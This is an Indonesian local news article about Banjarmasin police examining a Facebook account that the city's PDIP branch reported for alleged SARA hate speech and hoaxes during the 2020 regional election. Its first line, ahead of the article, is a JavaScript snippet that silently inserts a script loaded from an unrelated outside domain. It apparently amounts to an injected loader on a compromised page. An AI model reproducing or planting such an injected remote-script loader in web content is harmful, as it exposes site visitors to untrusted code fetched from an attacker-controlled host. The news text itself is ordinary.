(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Unit Cyber Turun Tangan, Telusuri Ujaran Sara Akun FB yang Dilaporkan PDIP


KANALKALIMANTAN.COM, BANJARMASIN – Laporan dugaan ujaran kebencian pada akun media sosial Facebook yang dilaporkan DPC PDIP Kota Banjarmasin sudah diterima Satreskrim Polresta Banjarmasin, Selasa (22/9/2020) siang.

Kepada Kanalkalimantan.com, Selasa (22/9/2020) sore, Kasat Reskrim Polresta Banjarmasin AKP Alfian Tri Permadi mengatakan, laporan yang dilayangkan oleh Wakil Ketua Bidang Polhukam DPC PDIP Kota Banjarmasin Rizki Eri Munadi tengah didalami oleh jajarannya.

Terutama dari delik dan unsur-unsur pidana tengah dipelajari oleh Satreskrim Polresta Banjarmasin.

“Kita harus pelajari, karena ini UU ITE dan yang dilaporkan adalah sebuah akun. Sehingga kita harus berkoordinasi dengan Unit Cyber untuk mengetahui identitas akun itu sendiri,” kata AKP Alfian.

Kendati begitu, Alfian belum bisa memastikan apakah akun media sosial Facebook bernama Ryan Saputra ini merupakan akun asli atau akun fake (palsu). Sehingga pihaknya harus melakukan pendalaman lebih lanjut.

“Terkait unsur pidananya, kita harus gelar perkara dulu mengenai unsur pidananya, dan kita berkoordinasi dengan Kominfo sebagai ahli dalam ITE itu sendiri,” imbuh Alfian.

Tangkapan layar akun FB yang dilaporkan PDIP Banjarmasin. foto: dok. DPC PDIP Banjarmasin

Pihaknya sendiri lebih akan melakukan pengecekan identitas maupun tautan unggahan yang diduga mengandung ujaran kebencian itu dengan Unit Cyber Satreskrim Polresta Banjarmasin.

Tidak menutup kemungkinan, Alfian menambahkan, pihaknya akan berkoordinasi dengan Unit Cyber Ditreskrimsus Polda Kalsel.

Lalu, bagaimana pengawasan Satreskrim Polresta Banjarmasin terhadap adanya dugaan ujaran kebencian di media sosial terlebih tahapan Pilkada serentak sudah berjalan? Alfian mengaku, pihaknya juga memiliki unit yang bertugas memonitor adanya indikasi tindak pidana secara daring.

“Kita memiliki Unit Cyber Patrol. Dimana unit ini memonitor adanya indikasi dugaan tindak pidana. Apalagi pada Pilkada ini sangat rentan,” kata Alfian.

Terkait adanya dugaan unsur tindak pidana di luar tindak pidana Pemilu ini, Alfian menerangkan, pihaknya menunggu aduan. Jika ada aduan yang masuk, pihaknya akan memfasilitasinya.

“Nantinya kita lihat apakah masuk unsur pidana atau bukan,” pungkas Alfian.

Sebelumnya akun media sosial Facebook atas nama Ryan Saputra dilaporkan karena diduga mengunggah sebuah postingan dugan ujaran kebencian bernada SARA. Postingan di media sosial itu dilaporkan karena diduga menyudutkan salah satu pasangan calon (paslon) Pilkada Banjarmasin bersama partai politik pengusung.

Pelapor adalah Wakil Ketua Bidang Polhukam DPC PDIP Kota Banjarmasin Rizki Eri Munadi ke Satreskrim Polresta Banjarmasin, Selasa (22/9/2020) pagi.

“Kami melaporkan kasus dugaan pelanggaran UU ITE yang mencatut PDIP dengan berita yang tidak benar di salah satu akun media sosial Facebook dengan nama Ryan Saputra,” tutur Rizki.

Pelapor akun medsos bernada Sara, Wakil Ketua Bidang Polhukam DPC PDIP Kota Banjarmasin Rizki Eri Munadi. foto: fikri

Menurutnya, barang bukti yang disertakan dari pelaporan ini yaitu hasil tangkapan layar yang memuat unggahan diduga ujaran kebencian dan fitnah ini.

“Dugaan kami, tujuan dari postingan ini masih berkaitan dengan Pilkada 2020 di Kota Banjarmasin. Salah satunya mencatut nama salah satu paslon Wali Kota Banjarmasin pak Ibnu Sina dan juga menyertakan logo PDIP dengan hal-hal yang berbau hoaks dan menyesatkan,” papar Rizki.

Tentunya, DPC PDIP Kota Banjarmasin merasa dirugikan, lantaran unggahan dari akun Facebook Ryan Saputra dinilai tidak benar. Karena dikhawatirkan akan terjadi penggiringan opini terkait dugaan isu yang diunggah oleh akun Facebook ini.

“Hari ini kami reaksioner, menyikapi dengan mengambil langkah hukum, agar ada efek jera di masyarakat dan pendidikan kepada masyarakat dalam menggunakan media sosial,” tegasnya.

Rizki juga menambahkan, akun Facebook Ryan Saputra sudah tidak dapat diakses lagi. Namun demikian, pihaknya telah mengantongi hasil tangkapan layar dan link URL dari unggahan dugaan ujaran kebencian itu. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

Al Ghifari

Recent Posts

KPU Banjarbaru Terima 96 Pendaftar Calon PPK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima 96 pendaftar calon anggota Panitia… Read More

24 menit ago

Sejarah 1 Mei 1952 : Dari Afdeeling Amoentai Menjadi Kabupaten Hulu Sungai Utara

KANALKALIMANTAN.COM, AMUNTAI - Tepat hari ini Rabu 1 Mei 2024, 72 tahun silam atau tepatnya… Read More

39 menit ago

PLN Gelar Halalbihalal Bersama Anak-anak Panti Asuhan

KANALKALIMANTAN.COM, PONTIANAK - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

KPU Banjarbaru Mulai Siapkan Pembentukan Badan Ad-hoc Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Pemilihan Umum (KPU) Kota Banjarbaru menerima beberapa catatan menjelang pembentukan… Read More

14 jam ago

Raperda Inisiatif Sistem Drainase Tawaran Solusi Banjir dan Genangan Air di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Persoalan banjir dan genangan air masih menjadi pekerjaan rumah (PR) yang hingga… Read More

15 jam ago

Upaya Meningkatkan Akreditasi Perpustakaan di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Kearsipan dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru menggelar sosialisasi pembinaan perpustakaan… Read More

15 jam ago

This website uses cookies.